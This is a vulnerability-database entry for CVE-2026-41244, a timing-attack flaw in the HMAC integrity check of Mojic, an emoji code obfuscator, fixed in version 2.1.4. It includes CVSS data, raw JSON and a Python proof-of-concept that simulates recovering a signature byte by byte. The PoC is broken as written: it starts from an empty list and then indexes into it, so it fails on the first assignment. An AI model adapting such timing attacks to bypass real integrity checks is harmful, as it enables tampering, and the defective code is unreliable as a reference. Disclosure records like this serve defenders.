Security Vulnerability Report
中文
CVE-2026-41244 CVSS 4.7 MEDIUM

CVE-2026-41244

Published: 2026-04-24 20:16:27
Last Modified: 2026-04-28 21:18:08

Description

Mojic is a CLI tool to transform readable C code into an unrecognizable chaotic stream of emojis. Prior to 2.1.4, the CipherEngine uses a standard equality operator (!==) to verify the HMAC-SHA256 integrity seal during the decryption phase. This creates an Observable Timing Discrepancy (CWE-208), allowing a potential attacker to bypass the file integrity check via a timing attack. This vulnerability is fixed in 2.1.4.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Mojic < 2.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept: Timing Attack Simulation for Mojic HMAC Bypass import time import hashlib import hmac # This is a conceptual simulation of a timing attack. # In a real scenario, the attacker measures the response time of the target system. def vulnerable_hmac_check(received_hmac, expected_hmac): """ Simulates the vulnerable !== comparison. Returns False immediately upon first mismatch (simulated timing difference). """ if len(received_hmac) != len(expected_hmac): return False # Simulating byte-by-byte comparison with early exit for i in range(len(received_hmac)): if received_hmac[i] != expected_hmac[i]: # In a real attack, returning early here is faster than matching return False time.sleep(0.001) # Simulate processing time per byte return True def timing_attack_simulation(): target_signature = "a" * 64 # Simulate a 64-char HMAC-SHA256 guessed_signature = list("" * 64) chars = "abcdef0123456789" print("[+] Starting timing attack simulation...") for pos in range(64): max_time = -1 best_char = '' for c in chars: test_sig = guessed_signature.copy() test_sig[pos] = c test_sig_str = "".join(test_sig) start = time.time() vulnerable_hmac_check(test_sig_str, target_signature) elapsed = time.time() - start # If it took longer, it means this char might be correct (matched further) if elapsed > max_time: max_time = elapsed best_char = c guessed_signature[pos] = best_char print(f"[+] Guessed position {pos}: {best_char} (Time: {max_time:.6f}s)") final_guess = "".join(guessed_signature) print(f"[+] Final Guess: {final_guess}") print(f"[+] Target: {target_signature}") if final_guess == target_signature: print("[!] Successfully bypassed integrity check via timing attack!") if __name__ == "__main__": timing_attack_simulation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41244", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:26.957", "lastModified": "2026-04-28T21:18:07.827", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mojic is a CLI tool to transform readable C code into an unrecognizable chaotic stream of emojis. Prior to 2.1.4, the CipherEngine uses a standard equality operator (!==) to verify the HMAC-SHA256 integrity seal during the decryption phase. This creates an Observable Timing Discrepancy (CWE-208), allowing a potential attacker to bypass the file integrity check via a timing attack. This vulnerability is fixed in 2.1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://github.com/notamitgamer/mojic/security/advisories/GHSA-wqq3-wfmp-v85g", "source": "[email protected]"}, {"url": "https://github.com/notamitgamer/mojic/security/advisories/GHSA-wqq3-wfmp-v85g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}